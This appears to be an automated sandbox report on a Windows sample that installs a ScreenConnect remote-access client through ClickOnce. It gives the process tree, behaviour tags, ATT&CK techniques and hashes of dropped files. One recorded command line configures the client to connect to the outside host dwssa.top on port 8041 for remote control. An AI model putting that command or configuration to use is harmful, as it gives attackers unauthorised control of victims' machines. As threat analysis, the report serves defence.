C:\Users\Admin\AppData\Local\Temp\3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe
"C:\Users\Admin\AppData\Local\Temp\3562f39131f6827fb040cd1b6481164d18c2ca936d8c8a556b36fcf7c72e3445.exe"
1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Downloads MZ/PE file
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=dwssa.top&p=8041&s=88062b96-9868-42df-a1ea-a50131cf73e7&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&r=&i=dwssa.top-27vfd" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:4864

C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=dwssa.top&p=8041&s=88062b96-9868-42df-a1ea-a50131cf73e7&k=BgIAAACkAABSU0ExAAgAAAEAAQBtA1QwnxmDJgtg5PSQKM2%2fXrI5tSvGXmobxKkpApfKRxNFds%2bAugKwIdxjohpe2e5g3JX%2bNW7Ud7QqxEwJCnkQ2P74R9wWgjFP9TldixXqM%2bjDxYI%2ffVSSK8Z5VPE3KZihrLqX7XnUCm7hKENugXVTpRbEY8if4It1oTHHdD%2f6%2fd%2b3uhTNg%2f418AN6A6GJf22t%2ffti0quDPPZ1kpkEmolUJDEH6pp%2f1UhDr7dtzVjA4iFa0Dp6sUth%2bKKk0UIO%2bBogCEAgcVyvPFToAf%2f0XH4g7geDuLAukDSN7N1AleZY9WkZ9n4q%2fW1rl6lvyAD1YPR3y%2ffpaKIxtGEjS4KCDZzD&r=&i=dwssa.top-27vfd" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060
- C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe" "RunRole" "995f7418-7207-4484-99a7-28c59bdd95c8" "User"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1804
- C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe" "RunRole" "7fd8ba76-af7c-4d24-aec4-23e73698cfc7" "System"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d.cdf-ms
Size 24KB
SHA256 6cf78c928d4c6cd4196b4b678217284f24ee923baacc9cdb32fc12605370b6f4
MD5 4f3bb2fba5574d4d75cbed1ddbd948c8
SHA1 bf5c2bd6b8480ebab3866453a00a3c8de8c65a96
SHA512 9f2430c2284df49a126927e8193a0f80fb311e36e1625323d6f47f28abeb98a754b75fd4f30690d5321e79c002407a49b357ff21e1b0bd7f8ca67cabb09d5dab
SSDEEP 384:gmqUlGb6aEB3G3T/QP/FM7Yq2sY35qegKFZG:gTP6NBST/QP/i0RsY30J24
TLSH
T1FBB2F945B786DD33E1529A33CCE2C7D57324BEA20E97178B7041372EC930AD98F2168A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..core_4b14c015c87c1ad8_0019.0003_none_41e6e243258153f1.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre..core_4b14c015c87c1ad8_0019.0003_none_41e6e243258153f1.cdf-ms
Size 3KB
SHA256 7aa50f8ac8866175ae5026a04ddd7333dcc1a9d7870b4f73cd9e856319abe44e
MD5 81447d1cb1539cbe38562cb0e3527d46
SHA1 20d974c89a413516f2cdbf200af9b02405b018e7
SHA512 40d1e3883b73b42fecdb6e065eb109d676c51c4e47751b6ca443e550816ff0e08383bed1431f56dbb4aa0b49dea3122d49a468c1a9bb1a02f19e8d176f8fa3dd
TLSH
T13861CC02B644EA17C9A90233ACD5D6EE37747E83DF42460B74C4BF2F7A316F55611291
MD5 SHA1 SHA512 TLSH

Submit Download

scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre..dows_4b14c015c87c1ad8_0019.0003_none_465eba2461cf6721.cdf-ms
Size 5KB
SHA256 0f079267071b54160088949879e8541bfa00ca1573cbb7cc45d94572c919b6cc
MD5 daaae00b26d3107364495927a9e08b45
SHA1 9d1927e7c6fe3c5cbf53bcff7aec06aad4e4ac2e
SHA512 304a03e54aba5122f81a9b0bf360c8866be1303fff6266c8ba7eaba335baf450e7542b866c26c486537d06353d2407a3b0c93aed2846a36b13728aaf6e225650
SSDEEP 96:Nm4+RzgvheV+Ww76k/WGgyHmzSNp9QHAzt1jKUuwnANbZF:yRzg2JAOMrvOAJBKOALF
TLSH
T175B120127204CA17D5B806339CA9D7FD2B787D42CE424A0B30C8BF6FB6326FA4725255
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..ient_4b14c015c87c1ad8_0019.0003_none_a32dbb670e6536fe.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre..ient_4b14c015c87c1ad8_0019.0003_none_a32dbb670e6536fe.cdf-ms
Size 6KB
SHA256 afba86c1a930c3906b74c0ef1ca02a480f6b6a37672f1329b723f4b4e73ad091
MD5 c55c6748131e4e38a905c379a894f8d6
SHA1 4c18e1225b29a8adda596c7d2e1a443df514bce4
SHA512 3a0262c4eb1bca96d3b8ff085a25d8fa595a489e91417323e74e80c29bb72b7ccf5788347e7534e2bb92b3b343a3b7375ab80e44d6823e252d3b46bd2eab196e
SSDEEP 96:dwQPPypJPeV+Wwwg8W5Or2WAvgoG6v+haOoMwks6b/FK:JPPpJM5laZeYLRK
TLSH
T144D145127290EE1BD1AD06339C9AD7ED32357E96DE43430B70C4BB2F7A322E61612155
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre..ient_4b14c015c87c1ad8_0019.0003_none_d7fc401534d0a9f5.cdf-ms
Size 2KB
SHA256 cc98414d02b1fe8c679eb77762ef85f017e86bb2bb027b4b44e325722e71f973
MD5 da2b857dc83e692ff5c5bc1d1c1c7210
SHA1 35b7e5bddab05e7d7617ce65522c126fd3863ee1
SHA512 5bd1c4aae19e380930d80c2742969a97f50b47940dbab16a684ece4cf6b3236653fba44ffc0e77edeae788488b70e02d37d8522629cbe977425aa06b00b22ceb
TLSH
T15C51EE283684EA6BD5290233EC81D7D932363D82DF470307B0C07B7F7A31AE5461A093
MD5 SHA1 SHA512 TLSH

Submit Download

scre..tion_6acd6157af9d4abe_0019.0003_none_3d690cd90d9c3660.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre..tion_6acd6157af9d4abe_0019.0003_none_3d690cd90d9c3660.cdf-ms
Size 14KB
SHA256 835a1d1669a705007965f113aa9a3a18e598a72d644be48e8d48ed5209bfd31f
MD5 c2d72897be2c56e63a8b16c6b53befe2
SHA1 725b4fa27c526dd2101eb593106410c18f236ecd
SHA512 38d4b2d5324d88059b5d7ec35452f11eaafabf6ffe892ba6ba257a7fa21c8c2229c7eb8deac31fbc7a6849086f4ecc79d3ff625fa2d1d2008c9bcfeed0cdb57b
SSDEEP 384:zWb9rsE6s+Pbe30ZL6pB3T/QP/FM7YTmX:gH65ekOpBT/QP/i0CX
TLSH
T12862069D3741E913C2069932DCD3C7E17239BD924DD786CB7014BB1EA930F855E2958B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\manifests\scre..vice_4b14c015c87c1ad8_0019.0003_none_f33a7a8bbb40b75c.cdf-ms
Size 4KB
SHA256 d81aaacbc78ae9ea88495f228f5dd2467a236d921506dd00854c6687e1457a62
MD5 645fc31478a475de1f6d5c1ba42b36c8
SHA1 70c2c1e2a3433dedfb5cf468ca71e7a2c0080a47
SHA512 b85b38f743292558e9dad13b624e3a1a8e64c4aa900f2ad389647244c91dd1673cc51ff9ffdbb2fb2205e7a17c47eee234321ef4485bbf82eb3b7b166b9fa6d0
SSDEEP 48:PeEAnCDvx+tgJe6S+9ow87gnW75uv+2cUxIdax9KMBFfiB1RTyA9UPCf:PelueV+Ww8g45uZcUdx9KMBdi1TyObf
TLSH
T16A9110257240E92AD5A506339C96D3CD2A797C82DE83470B70C47B3F7271AEA0B29253
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre...exe_6acd6157af9d4abe_0019.0003_none_3b99cdd24116687d\ScreenConnect.ClientService.exe
Size 93KB
SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
MD5 b0d1b0112506eaf72c7154fef004225a
SHA1 3cb9cd6a9ceb37751ad16165865cb338be39bbee
SHA512 61505b015bb06ce935a5adaa55211a6b650cdb7cd60a6dcc2add8596fa674da11059763e965101ac3e59406f4bd54463f0c8555acf6b660f573a2cdccf0d5925
SSDEEP 1536:Dg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEdU0HM17RA7:shbNDxZGXfdHrX7rAc6myJkgEU0H+NQ
TLSH
T1AE936B13B5C28872D573093158E0DAB09A3FF9615E21DEAB3798022E4F642C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\Client.Override.en-US.resources
Size 382B
SHA256 c15958e1b2cd814f6f05458539dba84864f356dd305ab8a600e62b58b653f40f
MD5 d0a78740c76f5b2b50f880d74418e174
SHA1 1adaaf0130bc52e22813865b626ed81e1523eb43
SHA512 ec0f22686148e340f3bc31ce479f818f236511e3d1e0ce8ce899678b774426ba09081b7f75716ed49a48d0dff29408c094d260708c5389d98cdfee37ea177f96
TLSH
T11BE06116635C6078D5B11677697638C106BFF42A831556AD9CD4101D99F270B8F91F31
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\Client.Override.resources
Size 257B
SHA256 881a6833d2845154005f4ca1df7302b531ba0076215278f3bac85fa889bcef40
MD5 688256f797b749cbfc45d933324c32dd
SHA1 5a9b42c63bdf8b929abf52a3a5eb815cfda2a11f
SHA512 40db577228c3d39ca1a45ea60225fa6ac11a300ea73d5c13cd7e0ecd50e57438542636ae7c1f63d7ed157de9b588a5d22e1a55ebea0065a976a73e0fae638356
TLSH
T132D02E22032890B9EA220FBB288829C20233DE05A038962C9C54112E9EB13434B91F63
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\Client.en-US.resources
Size 49KB
SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
MD5 9fc69f433805d115364f7fddeae45878
SHA1 36e93cc0f60688dd052c0b074fdd9e4dfa69c78e
SHA512 30fe97ce40cea06b68f11e426453b4e8eab06684c6921eeac52e3e737755afb18ce562b1acf799d4a3bbb767b2db1b25abe5d5abd0b72341a472213035a043b4
SSDEEP 1536:YU3a22xQvG6HpbkkyJIfmTkN/gFYA9JwdL4hhK71ATJKeParg9:YU3a22xQJHpbkkyJIfmTkN/gFYA9JwdM
TLSH
T10B331E1277FD0A58F5F36F05BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\Client.resources
Size 28KB
SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
MD5 ed9f87bcf99cda39c847a5ebe755a4b9
SHA1 c7cd54935424494b50f132e016d448ecac6b58c3
SHA512 ef4194b7d0173056953e0a94544108b6c3634c1e0a6088a481fd663ad4d34db1f219d9f4cdb82c7116911c4d360cc6d2d9bb4fa57db9d4af68ab65abadba1ad1
SSDEEP 768:Mcfv39mCOVPZrXgTf6vEVm6zjpGYUElerG49:PfP4COVPZrXgTf6v0fzNGqn49
TLSH
T1CFD2E0CE33BAECADE67E6F7E39D94070123B6F022C625212B8061415243748D2B68F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\ScreenConnect.WindowsClient.exe:Zone.Identifier
Size 26B
SHA256 eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913
MD5 fbccf14d504b7b2dbcb5a5bda75bd93b
SHA1 d59fc84cdd5217c6cf74785703655f78da6b582b
SHA512 aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98
MD5 SHA1 SHA512

Submit Download

app.config

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\app.config
Size 2KB
SHA256 bd1c0a5a3ce343cd6c0de28c0bcde5b9f409509efe449472baf9252dbe2dfa3f
MD5 bca8ff5de8f4a2cdb3279268a75ac904
SHA1 ab3d9ad51bf428f20ac75982930e3312d7b44034
SHA512 d5ffb9b2e717771b04e0e8383bb791f245026091fd0badcac3a9cc3b9807007ee5cbd1b3f6997f6d8f09ce3f931c76429784406da769ea288fd9469fd6dd6367
TLSH
T175417F1CB5C0AF9905B25631E73152C1EC7049231266B0E478DE3267AF70EDA4BF33A5
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Users\Admin\AppData\Local\Apps\2.0\M74D5G2R.KHE\BO94AORJ.RZT\scre..tion_6acd6157af9d4abe_0019.0003_2a7979a74537f033\user.config
Size 558B
SHA256 0de8a054ff83f1fdb7b1d8c9dc4c0510c6be44c54f1dc71dd2e5f06a317c9c9c
MD5 663f7ebc41cd714dae627d455bb2d3ff
SHA1 7b713976f7ee96c648c0656e9b44af3969a193ca
SHA512 e7387dad518d0ca6de19a30300f5915b9d7bfd7868866cddcd1a372e27e038fe3f88dbc05c404bbdb325b52750e453cded3711658f02a24733233a98334ed79a
TLSH
T13AF024A53080AE9A13732E23C5118745EE722B9B1199249874AF623B5F301DB03A32EA
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsClient.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
Size 1KB
SHA256 3af88293fb19b74f43b351ed49ccc031727f389c7ca509eece181da5763a492f
MD5 efd934620fb989581d19963e3fbb6d58
SHA1 63b103bb53e254a999eb842ef90462f208e20162
SHA512 6061817547280c5cf5d2cd50fa76b92aa9c1cfc433f17d6b545192e1098281394562adb773931cecd15d1b594d3b9c03855b70682fe6c54df5912c185b54670b
TLSH
T1E121BB712276B1D88D163F462C5D2AC007BF4739BA90DE1CB9A9725EDE260175F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

KDZH1K4X.GGV.application

Path C:\Users\Admin\AppData\Local\Temp\Deployment\JH57C577.AH6\KDZH1K4X.GGV.application
Size 119KB
SHA256 79f2e760f8d46b0207d9398a88c297cc3075cd6dff21d9440c52f2151569da90
MD5 58ccdfea764d4d7b50956ccc6b082b1a
SHA1 f7e3e0b5ef6f0a812627d8c419ad7bd8e11f9e80
SHA512 b64436bfac19029bfd47f1a55a12eb239d307ec7e2039257441e38b28fe85c297376820a4eccfd2dffa833590356a9de89f303a83035c00b72077971961366b2
SSDEEP 1536:grSsJG6uyWVfI3XiuWrXAxBpKobw58so5v6Ppo/18Q08UVh5aILTvooBT53/rm2W:IfpJ3S7rX66PpQy5HX9Nm2o9HuzhJOvP
TLSH
T124C3082A8F30F4C0477DB020D1A52D6739811B97DB730FECDA1A186B4E69792EF5A64C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.Client.dll
Size 192KB
SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
MD5 b25e25d654607d0ef84403f836017731
SHA1 03f92b570ce070dae7146a390041804375c718c0
SHA512 a9ae00cafd369dfeb21d8ba3f62787c98bc4798e6d6c8ce9631b0f8c9caaecc8fcda78c76df0b74838aabcb308c7893a69a97d0fc1a87a78e485798bd98d5de0
SSDEEP 3072:r5jDSMscgsVrgI7uyGhsqVFJRTcyzvDqSmzDvJXYk:9DSM1VsIRYPJukqSmG
TLSH
T15D144CA663685D2AEADF4973B0506030CA75ED25A423F3DE4E04F9F919B33818E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.Client.dll.genman
Size 1KB
SHA256 84780076495c67516e5059181e8d9ed24a17534e8d47efb7755c4d5f9d815d75
MD5 04cb3bb182262f142069967803419b9b
SHA1 6654f8403a764f4880894b904819fd6d3e539c3c
SHA512 294e2a395caf7ebb33faa55517b52cf6d2384cde9abd545786024cfb4fb10c3436578be10a6a159eb07f5dfd99b9da149c1d773c52664f7a2176d0153090aee0
TLSH
T1B5115C1181C8F9361F3301D2BEE7E021576D1B73048D1947B069696F8F29AE64347173
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.ClientService.dll
Size 67KB
SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
MD5 df724b974bf67241993a75cf80ebd098
SHA1 7ea91f2529bed8e16f3e65bfc50677e46c21f8ee
SHA512 bcc9038b3e3b7ab3cea30ffa62ebb4145bfc6bff11ebd2ff4e94f59ef44aced0eb7928620421324a2ab89ae76d3677b30fd84889c220a9ee3021425c028eba5d
SSDEEP 1536:POZLdn4uRt3p/V1gwk5GEPVQoV3l7jg8bdy:PEqUJgxNtQoV1c
TLSH
T131632C02A3BD8A36C9EF5A787465F1450B708E02E463FB9CADCDA4DB1B563E1190139F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.ClientService.dll.genman
Size 1KB
SHA256 cb26a8c4059cd1eef78bb6c91d5d3674e5f5cd495cacc6590858f0020e6d82a0
MD5 5e21aadec3a782d745f4f7c647f041c9
SHA1 6469b76d12bf12a4048ba647aeed22ab9549ebfb
SHA512 01f94dcdc5aff7c8f6c47df69338d6642549e54c65c0bd110dc815909fc665b43e7847d505e55c0bfa0e1b847112984e253582f16982f6a65e194ee243e60433
TLSH
T1BB31091650C4FA351F3301C2BEE7E020575D1B73148E1947709D599B8F2DAA6434B177
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.Core.dll
Size 539KB
SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
MD5 d254a2107a0ede952aa99f5a8feb5a04
SHA1 322ddaf1cc80e5c392ae82ae9cb016cf0c5f01cf
SHA512 ca9083b303cab7b08874284b388b7bab74063b4a034e5c95b8b72777e4527df2c4102fd066a164d4937bb98f285549b199203481ed5340eafd538f5615163ce2
SSDEEP 6144:SfWyDky4hmlTnSnyXn/4ZNkVQVyRb9bniIzs8vvk6aMhCJqgfwyYeMxq/J1e5Qal:SfxkyQIGogZAQcb9jzsO6Mx9OF2
TLSH
T197C48EC133D4CB2BC5BF47BAF42056690770EC107509E79B1AB5D8A8ADA335A4EC06ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.Core.dll.genman
Size 1KB
SHA256 4f64d5ec8f8684a9c6ceba3ddec8396b726607140023ed38c75b6c2aeee0972f
MD5 e9438a703eeb765f7f2b544a0b4a162f
SHA1 20212453c8a84289a6bac57e761f98838de56890
SHA512 4e888654024480ba3217ab6ea286f62323156bbbf384977764e076edd64574bca1d7e5d3ec371ad86bff6c1da652f9eb177f90b37f8b95de0cad7407e924954e
TLSH
T1CF21671181C8FA261F3302D2BEE7E421979E5B33188D194B74A9699FCB2DAD64747073
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
MD5 27d7995501d37a65912643493ec8f2c5
SHA1 3d3f37be1ff47568cf8b7ae3f28ceabbcdc1b009
SHA512 73751b468c82a2e77852932528946fdfbceae7cafc4175fd0d6d7d50771c78be4de0e916b226b0209beae067698a2355dfa656e3381f337778a5314a769f3057
SSDEEP 24576:yDtFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:yDtJkGYYpT0+TFiH7efP
TLSH
T1BA85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.Windows.dll.genman
Size 1KB
SHA256 2812598c3e94d284d506b81f5e55c18365a977979b19cec72fca129a706ed22e
MD5 41c9e5bd7b4649061816d367d6005711
SHA1 c17a6f4c5403e8f9d69de04e58a49280660d4a3f
SHA512 68417c9b7badec989ce198f4a16c17a336ce6f161bc1ebcb1769dc0539a23707507f14e3fdbb1f48bc2f66a1f82539ed432d7f4910a7666dbfa7239b1f33367f
TLSH
T14341D31281C8FA250F3301C27EEBE431979E5733158E194B7499AA9BCF29AE74747037
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsBackstageShell.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.WindowsBackstageShell.exe
Size 59KB
SHA256 a3e400824a622a094f5b75d3bd0ac6737f62537ce97a18a948b6876e8861a712
MD5 03547f425670dde601195bd601d1ba89
SHA1 64cdddbc8dc3132a9822cbc24295609727e15799
SHA512 66038dba18f47aea0bc717a55147d0fc8ba45625ba550d8dd6a2e37aa66efbaed57c4af72bf86e26d0d472eeef2afe6c5c3acde965f921d7a7e2966a7fa98297
SSDEEP 1536:5bHOH2MJv2vmDtyQXIE+TC4fIfXWbU017RjbvP:5buH2MJvyQEqa1N/
TLSH
T19A538C4163F80B16DDFE5E39B5E2A5240EB0EA039441E7AE1DCDA5D94E437806B603FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.WindowsClient.exe
Size 595KB
SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
MD5 e52d6ed40d9d4ae38f9a36af49eff819
SHA1 d72f163b9cd2ca20e913e64b69015217076e412f
SHA512 fe759aa56c5bbb0b5104102edd348c67a0420f7a9291348cf03ce31322d46dac52d4335e82a6eb415703a46d2b3c936452fab161535355a65458d95261b21846
SSDEEP 6144:GHv8AU89LWJ2dNq9jGyYSMCoI68zg/KWcA3rlz1vH5kqb1JCZ2cNI2/C4I159uvZ:ueCWEdNq4yP76wSPrlz1vHCqb10u9FK
TLSH
T1FDD46A62737CDA7AC5FF0779B0F11A2457B0E8226285E78F5804E5E90E963829D443FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Users\Admin\AppData\Local\Temp\Deployment\LNJA87T5.ZE8\JLX0POP1.DYC\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
